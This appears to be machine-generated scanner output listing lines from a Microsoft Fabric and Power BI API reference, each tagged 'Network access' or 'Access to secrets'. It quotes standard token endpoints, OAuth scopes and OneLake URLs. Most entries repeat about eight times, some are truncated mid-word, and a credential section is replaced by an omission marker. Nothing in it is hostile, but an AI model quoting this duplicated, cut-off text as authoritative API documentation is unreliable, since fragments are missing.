| **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 43
| **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 43
| **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 44
| **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 44
| **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 44
| **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 44
| **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 44
| **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 44
| **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 44
| **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 44
| **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 45
| **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 45
| **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 45
| **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 45
| **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 45
| **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 45
| **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 45
| **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 45
| **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 46
| **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 46
| **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 46
| **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 46
| **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 46
| **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 46
| **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 46
| **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 46
| **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 47
| **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 47
| **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 47
| **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 47
| **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 47
| **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 47
| **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 47
| **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 47
| **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 48
| **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 48
| **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 48
| **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 48
| **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 48
| **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 48
| **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 48
| **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 48
| **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 61
| Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 61
| Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 61
| Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 61
| Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 61
| Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 61
| Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 61
| Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 61
| Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 62
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 62
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 62
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 62
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 62
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 62
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 62
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 62
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 63
| **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 63
| **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 63
| **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 63
| **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 63
| **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 63
| **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 63
| **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 63
| **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 64
| **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 64
| **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 64
| **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 64
| **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 64
| **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 64
| **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 64
| **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 64
| **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 65
| **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` | - Network accessline 65
| **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` | - Network accessline 65
| **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` | - Network accessline 65
| **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` | - Network accessline 65
| **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` | - Network accessline 65
| **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` | - Network accessline 65
| **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` | - Network accessline 65
| **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` | - Network accessline 66
| **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` | - Network accessline 66
| **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` | - Network accessline 66
| **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` | - Network accessline 66
| **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` | - Network accessline 66
| **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` | - Network accessline 66
| **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` | - Network accessline 66
| **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` | - Network accessline 66
| **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` | - Network accessline 67
| **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) | - Network accessline 67
| **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) | - Network accessline 67
| **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) | - Network accessline 67
| **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) | - Network accessline 67
| **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) | - Network accessline 67
| **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) | - Network accessline 67
| **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) | - Network accessline 67
| **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) | - Network accessline 68
| **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 68
| **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 68
| **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 68
| **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 68
| **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 68
| **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 68
| **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 68
| **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 69
| **Azure Resource Management** | `https://management.azure.com/.default` | - Network accessline 69
| **Azure Resource Management** | `https://management.azure.com/.default` | - Network accessline 69
| **Azure Resource Management** | `https://management.azure.com/.default` | - Network accessline 69
| **Azure Resource Management** | `https://management.azure.com/.default` | - Network accessline 69
| **Azure Resource Management** | `https://management.azure.com/.default` | - Network accessline 69
| **Azure Resource Management** | `https://management.azure.com/.default` | - Network accessline 69
| **Azure Resource Management** | `https://management.azure.com/.default` | - Network accessline 69
| **Azure Resource Management** | `https://management.azure.com/.default` | - Network accessline 71
> **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail. - Network accessline 71
> **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail. - Network accessline 71
> **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail. - Network accessline 71
> **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail. - Network accessline 71
> **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail. - Network accessline 71
> **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail. - Network accessline 71
> **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail. - Network accessline 71
> **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail. - Network accessline 72
> > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. > - Network accessline 72
> > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. > - Network accessline 72
> > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. > - Network accessline 72
> > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. > - Network accessline 72
> > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. > - Network accessline 72
> > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. > - Network accessline 72
> > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. > - Network accessline 72
> > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. > - Network accessline 73
> **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. - Network accessline 73
> **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. - Network accessline 73
> **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. - Network accessline 73
> **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. - Network accessline 73
> **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. - Network accessline 73
> **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. - Network accessline 73
> **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. - Network accessline 73
> **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. - Network accessline 75
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes - Network accessline 75
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes - Network accessline 75
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes - Network accessline 75
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes - Network accessline 75
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes - Network accessline 75
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes - Network accessline 75
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes - Network accessline 75
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes - Network accessline 87
**Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` - Network accessline 87
**Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` - Network accessline 87
**Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` - Network accessline 87
**Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` - Network accessline 87
**Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` - Network accessline 87
**Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` - Network accessline 87
**Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` - Network accessline 87
**Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` - Network accessline 91
[Credential-related source omitted] - Network accessline 91
[Credential-related source omitted] - Network accessline 91
[Credential-related source omitted] - Network accessline 91
[Credential-related source omitted] - Network accessline 91
[Credential-related source omitted] - Network accessline 91
[Credential-related source omitted] - Network accessline 91
[Credential-related source omitted] - Network accessline 91
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Network accessline 94
**Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 94
**Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 94
**Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 94
**Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 94
**Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 94
**Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 94
**Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 94
**Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 95
1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 95
1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 95
1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 95
1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 95
1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 95
1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 95
1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 95
1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 109
1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations. - Network accessline 109
1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations. - Network accessline 109
1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations. - Network accessline 109
1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations. - Network accessline 109
1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations. - Network accessline 109
1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations. - Network accessline 109
1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations. - Network accessline 109
1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations. - Network accessline 110
2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI. - Network accessline 110
2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI. - Network accessline 110
2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI. - Network accessline 110
2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI. - Network accessline 110
2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI. - Network accessline 110
2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI. - Network accessline 110
2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI. - Network accessline 110
2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI. - Network accessline 116
Base URL: `https://api.fabric.microsoft.com/v1` - Network accessline 116
Base URL: `https://api.fabric.microsoft.com/v1` - Network accessline 116
Base URL: `https://api.fabric.microsoft.com/v1` - Network accessline 116
Base URL: `https://api.fabric.microsoft.com/v1` - Network accessline 116
Base URL: `https://api.fabric.microsoft.com/v1` - Network accessline 116
Base URL: `https://api.fabric.microsoft.com/v1` - Network accessline 116
Base URL: `https://api.fabric.microsoft.com/v1` - Network accessline 116
Base URL: `https://api.fabric.microsoft.com/v1` - Network accessline 181
**Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l - Network accessline 181
**Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l - Network accessline 181
**Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l - Network accessline 181
**Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l - Network accessline 181
**Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l - Network accessline 181
**Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l - Network accessline 181
**Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l - Network accessline 181
**Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l - Network accessline 188
> **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam - Network accessline 188
> **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam - Network accessline 188
> **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam - Network accessline 188
> **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam - Network accessline 188
> **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam - Network accessline 188
> **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam - Network accessline 188
> **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam - Network accessline 188
> **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam - Network accessline 273
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation - Network accessline 273
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation - Network accessline 273
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation - Network accessline 273
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation - Network accessline 273
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation - Network accessline 273
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation - Network accessline 273
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation - Network accessline 273
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation - Network accessline 306
https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path> - Network accessline 306
https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path> - Network accessline 306
https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path> - Network accessline 306
https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path> - Network accessline 306
https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path> - Network accessline 306
https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path> - Network accessline 306
https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path> - Network accessline 306
https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path> - Network accessline 317
OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`. - Network accessline 317
OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`. - Network accessline 317
OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`. - Network accessline 317
OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`. - Network accessline 317
OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`. - Network accessline 317
OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`. - Network accessline 317
OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`. - Network accessline 317
OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`. - Network accessline 321
> Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity - Network accessline 321
> Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity - Network accessline 321
> Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity - Network accessline 321
> Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity - Network accessline 321
> Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity - Network accessline 321
